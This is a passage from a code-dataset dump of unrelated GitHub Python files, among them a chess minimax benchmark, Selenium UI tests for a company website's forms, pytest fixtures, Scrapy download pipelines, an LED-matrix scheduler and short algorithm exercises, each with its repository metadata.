max_resolution=224)\n","repo_name":"MadryLab/failure-directions","sub_path":"failure_directions/scripts/make_chestxray.py","file_name":"make_chestxray.py","file_ext":"py","file_size_in_byte":2392,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"37"} +{"seq_id":"71600671468","text":"import csv\n\nfrom chess import Board\nimport time\n\nfrom ia.minmax.eval import evaluate_board\nfrom ia.minmax.min_max import *\n\nrandom_fen_list = [\n \"7R/8/5BP1/P2k1p2/p4q1p/8/Pp1p1P2/3K2QR w - - 0 1\",\n \"b1k5/1pn5/1p1n1KP1/r2p4/1p4q1/N1P2P2/3R4/8 w - - 0 1\",\n \"rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1\",\n \"r3k2r/ppp2ppp/3p4/8/4P3/8/PPP2PPP/R3K2R b KQkq - 0 1\",\n \"2r1k3/pp4pp/2p1p3/8/4P3/1P3P2/P4P1P/2R1K3 b - - 0 1\",\n \"r3kb1r/ppp2ppp/2np4/8/3pP3/2N5/PPP2PPP/R3KB1R w KQkq - 0 1\",\n \"rnbqk2r/ppp2ppp/3p4/8/4P3/8/PPP2PPP/RNBQK2R b KQkq - 0 1\",\n \"rnbqkb1r/pppp1ppp/5n2/4p3/3P4/8/PPP2PPP/RNBQKBNR w KQkq - 0 1\",\n \"rnbqkbnr/ppp2ppp/8/3p4/3P4/8/PPP2PPP/RNBQKBNR w KQkq - 0 1\",\n \"rnbqkb1r/pppp1ppp/5n2/4p3/3P4/8/PPP2PPP/RNBQK2R b KQkq - 0 1\",\n \"rnbqkbnr/ppppp1pp/8/5p2/8/8/PPPPPPP1/RNBQKBNR w KQkq - 0 1\",\n \"r1bqk2r/pppp1ppp/2n2n2/4p3/4P3/5N2/PPPP1PPP/RNBQKB1R w KQkq - 0 1\",\n \"r1bqkbnr/ppp2ppp/2n5/8/4P3/2N5/PPP2PPP/R1BQKBNR b KQkq - 0 1\",\n \"r1bqkb1r/ppp2ppp/2n2n2/4p3/4P3/2N2N2/PPP2PPP/R1BQKB1R b KQkq - 0 1\",\n \"rnbqkbnr/pppp1ppp/8/4p3/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1\",\n \"r1bqkb1r/ppp2ppp/2n2n2/4p3/4P3/2N5/PPP2PPP/R1BQKBNR w KQkq - 0 1\",\n \"rnbqkbnr/ppp2ppp/3p4/4p3/3P4/8/PPP2PPP/RNBQKBNR w KQkq - 0 1\",\n \"rnbqkb1r/pppp1ppp/4pn2/8/3P4/8/PPP2PPP/RNBQKBNR w KQkq - 0 1\",\n \"rnbqkb1r/ppp2ppp/4pn2/8/3P4/8/PPP2PPP/RNBQKBNR w KQkq - 0 1\",\n \"rnbqkb1r/ppp2ppp/4pn2/8/3P4/8/PPP2PPP/RNBQ1BNR w KQkq - 0 1\",\n \"rnbqkb1r/ppp2ppp/4pn2/8/3P4/8/PPP1BPPP/RNBQK1NR b KQkq - 0 1\",\n \"rnbqkb1r/ppp2ppp/4pn2/8/3P4/8/PPP1BPPP/RN1QK1NR w KQkq - 0 1\",\n \"rnbqkb1r/ppp2ppp/4pn2/8/3P4/2N5/PPP1BPPP/R1BQK1NR b KQkq - 0 1\",\n \"rnbqkb1r/ppp2ppp/4pn2/8/3P4/2N5/PPP1BPPP/R1BQ1KNR w KQkq - 0 1\",\n \"rnbqkb1r/ppp2ppp/4pn2/8/3P4/2N5/PPP1BPPP/R1BQ1K1R b KQkq - 0 1\",\n \"rnbqkb1r/ppp2ppp/4pn2/8/3P4/2N2B2/PPP2PPP/R1BQ1K1R b KQkq - 0 1\"\n]\n\nrandom_fen_list_10 = [\n \"rnbqkbnr/ppp2ppp/3p4/4p3/3P4/8/PPP2PPP/RNBQKBNR w KQkq - 0 1\",\n \"rnbqkb1r/pppp1ppp/4pn2/8/3P4/8/PPP2PPP/RNBQKBNR w KQkq - 0 1\",\n \"rnbqkb1r/ppp2ppp/4pn2/8/3P4/8/PPP2PPP/RNBQKBNR w KQkq - 0 1\",\n \"rnbqkb1r/ppp2ppp/4pn2/8/3P4/8/PPP2PPP/RNBQ1BNR w KQkq - 0 1\",\n \"rnbqkb1r/ppp2ppp/4pn2/8/3P4/8/PPP1BPPP/RNBQK1NR b KQkq - 0 1\",\n \"rnbqkb1r/ppp2ppp/4pn2/8/3P4/8/PPP1BPPP/RN1QK1NR w KQkq - 0 1\",\n \"rnbqkb1r/ppp2ppp/4pn2/8/3P4/2N5/PPP1BPPP/R1BQK1NR b KQkq - 0 1\",\n \"rnbqkb1r/ppp2ppp/4pn2/8/3P4/2N5/PPP1BPPP/R1BQ1KNR w KQkq - 0 1\",\n \"rnbqkb1r/ppp2ppp/4pn2/8/3P4/2N5/PPP1BPPP/R1BQ1K1R b KQkq - 0 1\",\n \"rnbqkb1r/ppp2ppp/4pn2/8/3P4/2N2B2/PPP2PPP/R1BQ1K1R b KQkq - 0 1\"\n]\n\n\n\ndef preprocess():\n # On vérifie que les fen sont biens valides\n print(\"Start checking...\")\n for fen in random_fen_list:\n try:\n board = Board(fen)\n except:\n print(\"Error with fen\", fen)\n print(\"Ended\")\n\n\ndef time_benchmark(minimax, evaluate_board, depth, algorithm_name, evaluation_function):\n start_global_time = time.time()\n for fen in random_fen_list:\n board = Board(fen)\n move = find_best_move(board, depth, evaluate_board, minimax)\n #print(\"OK.\")\n end_global_time = time.time()\n\n global_execution_time = end_global_time - start_global_time\n return [algorithm_name, evaluation_function, depth, global_execution_time, global_execution_time / len(random_fen_list), len(random_fen_list_10)]\n\ndef print_result(result):\n print(\"======> Global time:\", result[0])\n print(\"======> Mean time:\", result[1])\n\ndef save_result(file, result):\n try:\n with open(file, 'a', newline='') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerow(result)\n print(\"Résultats\", result, \"ajoutés au fichier CSV avec succès.\")\n except IOError as e:\n print(\"Erreur lors de l'écriture des résultats dans le fichier CSV.\")\n print(str(e))\n\n\nif __name__ == \"__main__\":\n preprocess()\n csv_path = \"../csv/time_per_depth\"\n save_result(csv_path, [\"algorithm_name\", \"evaluation_function\", \"depth\", \"global_execution_time\", \"mean_execution_time\", \"number_of_fen\"])\n for i in range(1, 7):\n print(\"Benchmark with depth of\", i, \"on\", len(random_fen_list), \"positions\")\n print(\"[Alpha Beta and depth]\")\n alpha_result = time_benchmark(minimax_alpha_beta, evaluate_board, i, \"alpha_beta\", 1)\n save_result(csv_path, alpha_result)\n print(\"-----------------------\")\n print(\"[Only depth]\")\n depth_result = time_benchmark(minmax_depth, evaluate_board, i, \"only_depth\", 1)\n save_result(csv_path, depth_result)\n","repo_name":"Emalios/StuckZero","sub_path":"benchmark/time_benchmark.py","file_name":"time_benchmark.py","file_ext":"py","file_size_in_byte":4584,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"27482030742","text":"from selenium import webdriver\nfrom time import sleep\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.wait import WebDriverWait #ilgili driver ı bekleten bir yapı -beklenen koşullar karşılanana kadar web driverı bekleticez.\nfrom selenium.webdriver.support import expected_conditions #beklenen koşullar\nfrom selenium.webdriver.common .action_chains import ActionChains\n\ndriver = webdriver.Chrome()\ndriver.get(\"https://www.etiya.com\")\ndriver.maximize_window()\n#function\ndef fncGetByX(param1,param2):\n WebDriverWait(driver,5).until(expected_conditions.visibility_of_element_located((param1,param2)))\n return driver.find_element(param1, param2)\n\n########################################\n\n# Open-Position Button Test \n# 1.https://www.etiya.com sayfası açılır.\n# 2.menu tıklanır.\n# 3.career tıklanır.\n# 4.listeden 'open positions' tıklanır.\n# 5.open positions butonu tıklanır. -> Expected Result: Açık pozisyonların ekrana gelmesi beklenir.\n\nmenuselector = fncGetByX(By.CLASS_NAME,\"menu-title\")\nmenuselector.click()\n\ncarierselector = fncGetByX(By.XPATH,\"//*[@id='menu-container']/ul/li[7]/a\")\ncarierselector.click()\n\nopenpositionselector = fncGetByX(By.XPATH,\"//*[@id='etiya']/div[2]/div/div[1]/ul/li[4]/a\")\nopenpositionselector.click()\n\nopenPositionBtn = driver.find_element(By.XPATH,\"//*[@id='etiya']/div[2]/div/div[2]/div[2]/a\")\nactionChain = ActionChains(driver)\nactionChain.move_to_element(openPositionBtn)\nactionChain.click()\nactionChain.perform()\nopenPositionBtn.click() \n\nsleep(3)\n\n########################################\n\n\n########################################\n\n# Contact Us Ekranı Send Button Test \n# 1. https://www.etiya.com sayfası açılır.\n# 2.'Menu' tıklanır.\n# 3.'Contact Us' tıklanır.\n# 4. Zorunlu alanlara bilgi girişi yapılır.\n# 5. Onay kutusu tıklanır.\n# 6. 'Send' Butonu tıklanır.-> Expected Result - Uyarı mesajı açılmalı.\n\ndriver.get(\"https://www.etiya.com\")\nmenuselector = fncGetByX(By.CLASS_NAME,\"menu-title\")\nmenuselector.click()\n\ncontactselector = fncGetByX(By.XPATH,\"//*[@id='menu-container']/ul/li[8]\")\ncontactselector.click()\n\nnameInput = fncGetByX(By.XPATH,\"//*[@id='etiya']/div[1]/div[1]/form/div[1]/input\")\nnameInput.send_keys(\"Ali\")\n\nmailInput = fncGetByX(By.XPATH,\"//*[@id='etiya']/div[1]/div[1]/form/div[2]/input\")\nmailInput.send_keys(\"ali@etiya.com\")\n\ntitleInput = fncGetByX(By.XPATH,\"//*[@id='etiya']/div[1]/div[1]/form/div[3]/input\")\ntitleInput.send_keys(\"Ali Company Aş.\")\n\nmobileInput = fncGetByX(By.XPATH,\"//*[@id='etiya']/div[1]/div[1]/form/div[4]/input\")\nmobileInput.send_keys(\"05552226699\")\n\nmessageInput = fncGetByX(By.XPATH,\"//*[@id='etiya']/div[1]/div[1]/form/div[5]/textarea\")\nmessageInput.send_keys(\"Deneme deneme deneme\")\n\nsleep(2)\n\ncheckbtn = fncGetByX(By.XPATH,\"//*[@id='etiya']/div[1]/div[1]/form/div[8]/label/span\")\ncheckbtn.click()\n\nsendBtn = fncGetByX(By.CLASS_NAME,\"btn-send\")\nsendBtn.click()\n\nsleep(2)\n\nwarningdBtn = fncGetByX(By.XPATH,\"/html/body/div[5]/div/div[3]/div/button\")\nwarningdBtn.click()\n\nsleep(2)\n\n\n####################################################\n\n\n####################################################\n# 'Contact Us' Ekranı Email Valid Test\n# 1. https://www.etiya.com sayfası açılır.\n# 2.'Menu' tıklan��r.\n# 3.'Contact Us' tıklanır.\n# 4. Zorunlu alanlara veri girişi yapılır.\n# 5. Email alanına hatalı veri girişi yapılır. ->İnput: ayseqmailcom \n# 6.'Send' Butonu tıklanır.-> Expected Result: 'Please include an '@' and in the email address' uyarı mesajı açılmalı.\n\n\ndriver.get(\"https://www.etiya.com\")\nmenuselector = fncGetByX(By.CLASS_NAME,\"menu-title\")\nmenuselector.click()\n\ncontactselector = fncGetByX(By.XPATH,\"//*[@id='menu-container']/ul/li[8]\")\ncontactselector.click()\n\nnameInput = fncGetByX(By.XPATH,\"//*[@id='etiya']/div[1]/div[1]/form/div[1]/input\")\nnameInput.send_keys(\"Ali\")\n\nmailInput = fncGetByX(By.XPATH,\"//*[@id='etiya']/div[1]/div[1]/form/div[2]/input\")\nmailInput.send_keys(\"ayseqmailcom\")\n\ntitleInput = fncGetByX(By.XPATH,\"//*[@id='etiya']/div[1]/div[1]/form/div[3]/input\")\ntitleInput.send_keys(\"Ali Company Aş.\")\n\nmobileInput = fncGetByX(By.XPATH,\"//*[@id='etiya']/div[1]/div[1]/form/div[4]/input\")\nmobileInput.send_keys(\"05552226699\")\n\nmessageInput = fncGetByX(By.XPATH,\"//*[@id='etiya']/div[1]/div[1]/form/div[5]/textarea\")\nmessageInput.send_keys(\"Deneme deneme deneme\")\n\nsleep(2)\n\n\nsendBtn = fncGetByX(By.CLASS_NAME,\"btn-send\")\nsendBtn.click()\n\n\nsleep(2)\n\n####################################################\n\n\n\n\n####################################################\n\ndriver.get(\"https://www.etiya.com\")\nbutton = driver.find_element(By.XPATH,\"//*[@id='nval']\")\nactionChain = ActionChains(driver)\nactionChain.move_to_element(button)\nactionChain.click()\nactionChain.perform()\n\nsleep(3)\n\n## 'let us share' alanı kontrol\n## 1.mail alanına 's' girilir.\n## 2.search tıklanır.\n## 3.ekrana uyarı gelir.\n\n\nletusshare = driver.find_element(By.CLASS_NAME, \"form-control\")\nletusshare.send_keys(\"s\")\nletusclick = driver.find_element(By.ID, \"send-newsl\")\nletusclick.click()\nsleep(2)\n\nokbutton = driver.find_element(By.XPATH, \"/html/body/div[11]/div/div[3]/div/button\")\nokbutton.click()\n\nsleep(2)\n\n\n# let us sahare alanı kontrol\n# 1.privicy kutucuğu işaretlenir.\n# 2.search tıklanır.\n# 3.krana uyarı gelir.\n\ndriver.get(\"https://www.etiya.com\")\nbutton = driver.find_element(By.XPATH,\"//*[@id='newsletter-form']/div[3]/label/span\")\nactionChain = ActionChains(driver)\nactionChain.move_to_element(button)\nactionChain.click()\nactionChain.perform()\n\nsleep(2)\n\nletusbutton = driver.find_element(By.XPATH, \"//*[@id='newsletter-form']/div[3]/label/span\")\nletusbutton.click()\n\nsleep(2)\n\nletusclick = driver.find_element(By.ID, \"send-newsl\")\nletusclick.click()\n\nsleep(2)\n\nemailok = driver.find_element(By.XPATH, \"/html/body/div[11]/div/div[3]/div/button\")\nemailok.click()\n\nsleep(2)\n#####################################################\n\nsleep(5000)","repo_name":"AyseAydinn/selenium","sub_path":"workshop1.py","file_name":"workshop1.py","file_ext":"py","file_size_in_byte":5931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73366585388","text":"from typing import NoReturn, List, Tuple\n\nimport pytest\nimport pandas as pd\nfrom faker import Faker\n\nfrom src.entities import FeatureParams, LogRegParams, RandomForestParams, \\\n TrainingPipelineParams, SplittingParams, PathParams, PredictingPipelineParams\nfrom src.features.build_features import get_target, build_transformer\nfrom src.train_pipeline import train_pipeline\n\nROW_NUMS = 200\n\n\n@pytest.fixture(scope=\"session\")\ndef synthetic_data_path() -> str:\n return \"tests/synthetic_data.csv\"\n\n\n@pytest.fixture(scope=\"session\")\ndef output_predictions_path() -> str:\n return \"tests/test_predictions.csv\"\n\n\n@pytest.fixture(scope=\"session\")\ndef load_model_path() -> str:\n return \"tests/test_model.pkl\"\n\n\n@pytest.fixture(scope=\"session\")\ndef metric_path() -> str:\n return \"tests/test_metrics.json\"\n\n\n@pytest.fixture(scope=\"session\")\ndef load_transformer_path() -> str:\n return \"tests/test_transformer.pkl\"\n\n\n@pytest.fixture(scope=\"session\")\ndef numerical_features() -> List[str]:\n return [\n \"age\",\n \"trestbps\",\n \"chol\",\n \"thalach\",\n \"oldpeak\",\n ]\n\n\n@pytest.fixture(scope=\"session\")\ndef categorical_features() -> List[str]:\n return [\n \"sex\",\n \"cp\",\n \"fbs\",\n \"restecg\",\n \"exang\",\n \"slope\",\n \"ca\",\n \"thal\",\n ]\n\n\n@pytest.fixture(scope=\"session\")\ndef target_col() -> str:\n return \"target\"\n\n\n@pytest.fixture(scope=\"session\")\ndef normalize_numerical_true() -> bool:\n return True\n\n\n@pytest.fixture(scope=\"session\")\ndef normalize_numerical_false() -> bool:\n return False\n\n\n@pytest.fixture(scope=\"session\")\ndef feature_params_w_norm(\n categorical_features: List[str],\n numerical_features: List[str],\n target_col: str,\n normalize_numerical_true: bool\n) -> FeatureParams:\n fp = FeatureParams(\n categorical_features=categorical_features,\n numerical_features=numerical_features,\n target_col=target_col,\n normalize_numerical=normalize_numerical_true\n )\n return fp\n\n\n@pytest.fixture(scope=\"session\")\ndef feature_params_wo_norm(\n categorical_features: List[str],\n numerical_features: List[str],\n target_col: str,\n normalize_numerical_false: bool\n) -> FeatureParams:\n fp = FeatureParams(\n categorical_features=categorical_features,\n numerical_features=numerical_features,\n target_col=target_col,\n normalize_numerical=normalize_numerical_false\n )\n return fp\n\n\n@pytest.fixture(scope=\"session\")\ndef synthetic_data() -> pd.DataFrame:\n fake = Faker()\n Faker.seed(21)\n df = {\n \"age\": [fake.pyint(min_value=25, max_value=80) for _ in range(ROW_NUMS)],\n \"sex\": [fake.pyint(min_value=0, max_value=1) for _ in range(ROW_NUMS)],\n \"cp\": [fake.pyint(min_value=0, max_value=3) for _ in range(ROW_NUMS)],\n \"trestbps\": [fake.pyint(min_value=94, max_value=200) for _ in range(ROW_NUMS)],\n \"chol\": [fake.pyint(min_value=126, max_value=555) for _ in range(ROW_NUMS)],\n \"fbs\": [fake.pyint(min_value=0, max_value=1) for _ in range(ROW_NUMS)],\n \"restecg\": [fake.pyint(min_value=0, max_value=2) for _ in range(ROW_NUMS)],\n \"thalach\": [fake.pyint(min_value=71, max_value=202) for _ in range(ROW_NUMS)],\n \"exang\": [fake.pyint(min_value=0, max_value=1) for _ in range(ROW_NUMS)],\n \"oldpeak\": [fake.pyfloat(min_value=0, max_value=7) for _ in range(ROW_NUMS)],\n \"slope\": [fake.pyint(min_value=0, max_value=2) for _ in range(ROW_NUMS)],\n \"ca\": [fake.pyint(min_value=0, max_value=4) for _ in range(ROW_NUMS)],\n \"thal\": [fake.pyint(min_value=0, max_value=3) for _ in range(ROW_NUMS)],\n \"target\": [fake.pyint(min_value=0, max_value=1) for _ in range(ROW_NUMS)]\n }\n\n return pd.DataFrame(data=df)\n\n\n@pytest.fixture(scope=\"package\")\ndef lr_training_params() -> LogRegParams:\n model = LogRegParams(\n model_type=\"LogisticRegression\",\n penalty=\"l2\",\n tol=1e-4,\n random_state=21\n )\n return model\n\n\n@pytest.fixture(scope=\"package\")\ndef rf_training_params() -> RandomForestParams:\n model = RandomForestParams(\n model_type=\"RandomForestClassifier\",\n n_estimators=20,\n max_depth=4,\n random_state=21\n )\n return model\n\n\n@pytest.fixture(scope=\"package\")\ndef prepared_dataframe(\n synthetic_data: pd.DataFrame, feature_params_w_norm: FeatureParams\n) -> Tuple[pd.Series, pd.DataFrame]:\n transformer = build_transformer(feature_params_w_norm)\n transformer.fit(synthetic_data)\n\n transformed_features = transformer.transform(synthetic_data)\n target = get_target(synthetic_data, feature_params_w_norm)\n return target, transformed_features\n\n\n@pytest.fixture(scope=\"package\")\ndef train_pipeline_params(\n synthetic_data_path: str,\n load_model_path: str,\n metric_path: str,\n categorical_features: List[str],\n numerical_features: List[str],\n normalize_numerical_true: bool,\n target_col: str,\n load_transformer_path: str,\n lr_training_params: LogRegParams\n) -> TrainingPipelineParams:\n\n train_pipeline_parms = TrainingPipelineParams(\n path_config=PathParams(\n input_data_path=synthetic_data_path,\n metric_path=metric_path,\n output_model_path=load_model_path,\n output_transformer_path=load_transformer_path,\n ),\n\n splitting_params=SplittingParams(val_size=0.2, random_state=21),\n\n feature_params=FeatureParams(\n categorical_features=categorical_features,\n numerical_features=numerical_features,\n target_col=target_col,\n normalize_numerical=normalize_numerical_true\n ),\n\n train_params=lr_training_params\n )\n return train_pipeline_parms\n\n\n@pytest.fixture(scope=\"package\")\ndef predict_pipeline_params(\n synthetic_data_path: str,\n load_model_path: str,\n output_predictions_path: str,\n load_transformer_path: str,\n) -> PredictingPipelineParams:\n\n pred_pipeline_params = PredictingPipelineParams(\n input_data_path=synthetic_data_path,\n output_data_path=output_predictions_path,\n pipeline_path=load_transformer_path,\n model_path=load_model_path,\n )\n return pred_pipeline_params\n\n\n@pytest.fixture(scope=\"package\")\ndef train_synthetic(train_pipeline_params: TrainingPipelineParams) -> NoReturn:\n train_pipeline(train_pipeline_params)\n\n\n","repo_name":"KatyKasilina/StumbleUpon-Evergreen-Classification","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":6431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4272344968","text":"# coding: utf-8\n\nimport os\nimport os.path\nimport hashlib\n\ntry:\n from cStringIO import StringIO as BytesIO\nexcept ImportError:\n from io import BytesIO\n\nfrom scrapy import Request\nfrom scrapy.exceptions import DropItem\nfrom scrapy.pipelines.images import ImagesPipeline, FilesPipeline\nfrom scrapy.utils.misc import md5sum\nfrom scrapy.utils.misc import arg_to_iter\nfrom twisted.internet.defer import DeferredList\n\nfrom crawler.utils import URL, to_str\nfrom crawler import settings\n\n\nclass GroupDownPipelineMinix(object):\n DEFAULT_EXT = ''\n URLS_NAME = None\n\n def file_path(self, request, response=None, info=None):\n # check if called from image_key or file_key with url as first argument\n if not isinstance(request, Request):\n url = request\n else:\n url = request.url\n\n group = getattr(request, \"group\", None)\n try:\n if group:\n filename = \"{0}{1}\".format(group[\"urls\"][request.url], self.DEFAULT_EXT)\n path = os.path.join(group[\"name\"], filename)\n else:\n url = URL(url)\n url.scheme = ''\n _, ext = os.path.splitext(url.path.split('/')[-1])\n if not ext:\n url.path = url.path.strip('/') + self.DEFAULT_EXT\n path = url.geturl()\n except Exception:\n path = os.path.join(\"err\", hashlib.sha1(url).hexdigest() + self.DEFAULT_EXT)\n\n if request.spider.subdir:\n path = os.path.join(request.spider.subdir, path)\n return path\n\n def image_downloaded(self, response, request, info):\n buf = BytesIO(response.body)\n path = self.file_path(request, response=response, info=info)\n self.store.persist_file(path, buf, info)\n buf.seek(0)\n checksum = md5sum(buf)\n return checksum\n\n def process_item(self, item, spider):\n info = self.spiderinfo\n requests = arg_to_iter(self.get_media_requests(item, info))\n dlist = [self._process_request(r, info, item, spider) for r in requests]\n dfd = DeferredList(dlist, consumeErrors=1)\n return dfd.addCallback(self.item_completed, item, info)\n\n def _process_request(self, request, info, item=None, spider=None):\n if item:\n group = {\n \"urls\": {},\n \"name\": item.get(\"group\")\n }\n for n, url in enumerate(item[self.URLS_NAME], 1):\n group[\"urls\"][url] = n\n request.group = group\n if spider:\n request.spider = spider\n\n return super(GroupDownPipelineMinix, self)._process_request(request, info)\n\n def item_completed(self, results, item, info):\n result = {}\n for n, r in enumerate(results):\n ok, x = r\n if ok:\n result[x[\"url\"]] = x[\"path\"]\n else:\n result[item[self.URLS_NAME][n]] = x.getErrorMessage()\n # TODO: Save the result\n\n # file_paths = [x['path'] for ok, x in results if ok]\n # if not file_paths:\n # raise DropItem(\"Item contains no files\")\n # item['image_paths'] = file_paths\n # return item\n\n return super(GroupDownPipelineMinix, self).item_completed(results, item, info)\n\n\nclass FileGroupPipeline(GroupDownPipelineMinix, FilesPipeline):\n DEFAULT_EXT = '.txt'\n URLS_NAME = 'file_urls'\n\n\nclass ImageGroupPipeline(GroupDownPipelineMinix, ImagesPipeline):\n DEFAULT_EXT = '.jpg'\n URLS_NAME = 'image_urls'\n\n\nclass TextPipeline(object):\n def _get_dirname(self, spider):\n if spider.subdir:\n path = os.path.join(settings.TEXTS_STORE, spider.subdir)\n else:\n path = settings.TEXTS_STORE\n\n if not os.path.exists(path):\n os.makedirs(path)\n return path\n\n def filter(self, path, item, spider):\n if spider.file_min_size:\n size = os.stat(path).st_size\n if size < spider.file_min_size * 1024:\n os.remove(path)\n\n def process_item(self, item, spider):\n dirname = self._get_dirname(spider)\n path = os.path.join(dirname, item[\"title\"] + \".txt\")\n with open(path, \"w\") as f:\n for i in item[\"texts\"]:\n f.write(to_str(i))\n\n self.filter(path, item, spider)\n\n raise DropItem\n","repo_name":"xgfone/snippet","sub_path":"snippet/example/python/scrapy/crawler/crawler/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":4345,"program_lang":"python","lang":"en","doc_type":"code","stars":165,"dataset":"github-code","pt":"37"} +{"seq_id":"4946980922","text":"from typing import Literal\nfrom Utils import isStringInt\n\n\ndef avatarTypeFlow() -> Literal[\"R6\", \"R15\"]:\n print(\"Select an avatar type: 1) R6 2) R15\")\n while True:\n inputString = input(\">> \")\n if isStringInt(inputString) and int(inputString) in [1, 2]:\n return \"R6\" if inputString == \"1\" else \"R15\"\n else:\n print(\"[ERROR] Please make sure input is a valid number\")\n\n\ndef userIdFlow() -> int:\n print(\"Enter a ROBLOX user id.\")\n while True:\n inputString = input(\">> \")\n if isStringInt(inputString):\n return int(inputString)\n else:\n print(\"[ERROR] Please make sure input is a valid number\")\n\n\ndef useDefaultAvatarScalesFlow() -> bool:\n print(\"Use default avatar scales? [y/n]\")\n while True:\n inputString = input(\">> \").lower()\n if inputString in [\"y\", \"n\"]:\n return True if inputString == \"y\" else False\n else:\n print(\"[ERROR] Please make sure input is either y or n\")\n","repo_name":"Xientraa/ROBLOX-Avatar-To-OBJ","sub_path":"src/Flows.py","file_name":"Flows.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73276970668","text":"from init import init_leds\nimport queue\nimport threading\n\nimport inspect\nimport types\nimport random\nimport settings\nfrom submodules import *\n\n\nclass Scheduler:\n class QObject:\n\n def __init__(self, priority, id, fnc):\n self.base_prio = priority\n self.curr_prio = priority\n self.call_fnc = fnc\n\n self.id = id\n\n def get_fnc(self):\n self.curr_prio = self.base_prio\n return self.call_fnc\n\n def __lt__(self, other):\n if self.curr_prio < other.curr_prio:\n return True\n else:\n return False\n\n def adjust_prio(self):\n self.curr_prio = max(1.1, self.curr_prio - 0.2)\n\n def __init__(self):\n self.loop_q = queue.PriorityQueue()\n self.event_q = queue.PriorityQueue()\n\n self.submodules = self.load_submodules()\n settings.LOADED_MODULES = len(self.submodules)\n print(\"Done loading Modules! \" + str(len(self.submodules)) + \" modules were loaded.\\n\")\n self.services = self.init_submodule_services()\n settings.RUNNING_SERVICES = len(self.services)\n print(\"Done loading Services! \" + str(len(self.services)) + \" services are runnning.\\n\")\n\n self.matrix = init_leds()\n\n self.schedule()\n\n def schedule(self):\n while True:\n self.next()\n\n def next(self):\n if not self.event_q.empty():\n event = self.event_q.get()\n print(\"Event Next: \" + str(event.call_fnc))\n self.run_module(event.get_fnc())\n else:\n for obj in self.loop_q.queue:\n obj.adjust_prio()\n loop = self.loop_q.get()\n fnc = loop.get_fnc()\n self.loop_q.put(loop)\n\n print(\"Loop Next: \" + str(loop.call_fnc))\n self.run_module(fnc)\n\n def run_module(self, fnc):\n thread = threading.Thread(target=fnc, args=(self.matrix, ))\n thread.start()\n thread.join()\n\n def load_submodules(self):\n classes = []\n for name, val in globals().items():\n if isinstance(val, types.ModuleType) and \"submodules\" in val.__name__:\n print(\"Found submodule %s\" % val)\n clsmembers = inspect.getmembers(val, inspect.isclass)\n classes.append(clsmembers[0][1](self.add_loop, self.rmv_loop, self.add_event))\n return classes\n\n def init_submodule_services(self):\n services = []\n for mod in self.submodules:\n try:\n thread = threading.Thread(target=mod.service, args=())\n thread.start()\n services.append(thread)\n print(\"Loaded Service of module: \" + str(mod))\n except AttributeError:\n pass\n #print(\"Module: \" + str(mod) + \" has no 'service' method.\", file=sys.stderr)\n return services\n\n def add_event(self, priority, display_fnc):\n id = random.getrandbits(128)\n qObj = Scheduler.QObject(priority, id, display_fnc)\n self.event_q.put(qObj)\n return id\n\n def add_loop(self, priority, display_fnc):\n id = random.getrandbits(128)\n qObj = Scheduler.QObject(priority, id, display_fnc)\n self.loop_q.put(qObj)\n return id\n\n def rmv_loop(self, id):\n for obj in self.loop_q.queue:\n if obj.id == id:\n self.loop_q.queue.remove(obj)\n return\n raise Exception(\"Cant find ID for loop function!\")\n\n\nif __name__ == \"__main__\":\n Scheduler()\n","repo_name":"brokelyn/rpi-led-matrix-scheduler","sub_path":"scheduler.py","file_name":"scheduler.py","file_ext":"py","file_size_in_byte":3560,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"41957711761","text":"from typing import List\n\nclass Solution:\n '''\n LeetCode Monthly Challenge problem for September 22nd, 2020.\n '''\n def canCompleteCircuit(self, gas: List[int], cost: List[int]) -> int:\n '''\n There are N gas stations along a circular route, where the amount of gas at station i is gas[i].\n\n You have a car with an unlimited gas tank and it costs cost[i] of gas to travel from station i to its next station (i+1). You begin the journey with an empty tank at one of the gas stations.\n\n Return the starting gas station's index if you can travel around the circuit once in the clockwise direction, otherwise return -1.\n\n Note:\n\n If there exists a solution, it is guaranteed to be unique.\n Both input arrays are non-empty and have the same length.\n Each element in the input arrays is a non-negative integer.\n \n Params:\n gas - List of integers representing the amount of gas at each\n station.\n \n cost - List of integers representing the amount of gas required to\n travel to the next station.\n \n Returns:\n int - The starting index if a loop can be made, otherwise -1.\n \n Exampes:\n canCompleteCircuit(gas=[1,2,3,4,5],\n cost=[3,4,5,1,2]) -> 3\n \n canCompleteCircuit(gas=[2,3,4],\n cost=[3,4,3]) -> -1\n '''\n total_cost = tank = start = 0\n for i in range(len(gas)):\n total_cost += gas[i] - cost[i]\n tank += gas[i] - cost[i]\n \n if tank < 0:\n start = i + 1\n tank = 0\n \n return start if total_cost > -1 else -1\n","repo_name":"Hilldrupca/LeetCode","sub_path":"python/Monthly/Sep2020/gasstation.py","file_name":"gasstation.py","file_ext":"py","file_size_in_byte":1853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42087294342","text":"h, w = map(int, input().split())\nblock = list(map(int, input().split()))\n\narray = []\nstart = block[0]\nflag = False\ntemp = []\nfor i in range(1, w):\n if flag:\n start = block[i]\n temp = []\n flag = False\n if block[i] >= start:\n temp.append(block[i])\n array.append(temp)\n temp = []\n flag = True\n else:\n temp.append(block[i])\n\narray.append(temp)\nprint(array)\n\n","repo_name":"subinmun1997/my_python-for-coding-test","sub_path":"BAEKJOON/solution627.py","file_name":"solution627.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"15934581151","text":"\n\"\"\"Decorator and context manager for saving and restoring flag values.\nThere are many ways to save and restore. Always use the most convenient 